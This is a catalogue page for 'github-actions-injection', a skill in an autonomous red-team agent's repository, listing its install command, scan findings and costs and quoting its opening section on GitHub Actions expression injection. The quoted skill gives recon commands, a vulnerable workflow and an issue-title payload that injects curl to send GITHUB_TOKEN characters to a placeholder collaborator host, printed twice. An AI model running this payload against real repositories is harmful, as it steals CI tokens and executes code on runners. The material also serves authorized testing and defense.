Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/PurpleAILAB/Decepticonnpx agentmods add skills/purpleailab/decepticon/github-actions-injectionWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/github-actions-injection)<a href="https://agentmods.dev/skills/purpleailab/decepticon/github-actions-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/github-actions-injection/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/github-actions-injection"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/github-actions-injection.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium MCP Rug Pull · line 39 Docker image references without a specific tag (:latest is implicit) or digest (@sha256:...) can be silently replaced by a malicious image.Fix: Pin the image: image:tag or image@sha256:abc123
- medium Data Exfiltration · line 135 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
- low Tool Misuse · line 39 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00065 | $0.02160 |
| Opus 5.5 | $0.00026 | $0.00864 |
| Sonnet 5.5 | $0.00013 | $0.00432 |
| Haiku 4.5 | $0.00006 | $0.00216 |
Grade A, and why
github-actions-injection scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) # How it starts
The opening of the file, as written. The whole thing — 201 lines — stays where its author put it; the contents beside it link to each section on GitHub.
GitHub Actions Expression Injection
${{ <expr> }} is interpolated by the runner before the shell sees the line. If the expression sources from untrusted github.event.*, the substituted text is parsed by bash (or pwsh) as code — full RCE on the runner, with whatever token + secrets the job exposes.
Untrusted context — the sinks
These fields are attacker-controllable in fork PRs, issues, comments, branches:
| Context | Source | Notes |
|---|---|---|
github.event.issue.title / .body |
issue create / edit | any logged-in user |
github.event.pull_request.title / .body |
PR create / edit | any forker |
github.event.pull_request.head.ref |
branch name on fork | ; $() ``` are valid Git branch chars |
github.event.comment.body |
issue/PR comment | broad reach |
github.event.review.body / .review_comment.body |
PR review | |
github.event.head_commit.message / .commits[*].message |
push / PR | newlines allowed |
github.event.pages[*].page_name |
gollum wiki |
|
github.head_ref |
shorthand for PR head branch | same as above |
Recon — find injection sinks
# Direct ${{ }} into run: blocks
grep -rnE '\$\{\{\s*github\.(event\.(issue|pull_request|comment|review|head_commit|pages)|head_ref)' \
<REPO>/.github/workflows/
# actionlint flags most of these
docker run --rm -v "$PWD:/repo" rhysd/actionlint:latest -color
Sink pattern — the vulnerable workflow
# VULNERABLE
on: [issues, pull_request_target]
jobs:
triage:
runs-on: ubuntu-latest
steps:
- name: Echo title
run: |
echo "New issue: ${{ github.event.issue.title }}" # <-- sink
Exploit payload — issue title
Open an issue titled:
hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #
Runner expands to:
echo "New issue: hello"; curl -s https://<COLLAB>/$(printf %s "$GITHUB_TOKEN" | base64 -w0 | head -c 12) #"
The shell runs curl with the first 12 base64-chars of GITHUB_TOKEN as the URL path. (PoC pattern — truncate; do not exfil the full token.)
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 201 lines · 65 tokens per session scan A 71940fbdf88c
github-actions-injection is a skill published in the GitHub repository PurpleAILAB/Decepticon (6,427 stars, last pushed today), licensed Apache-2.0. It adds 65 tokens to every session and 2,160 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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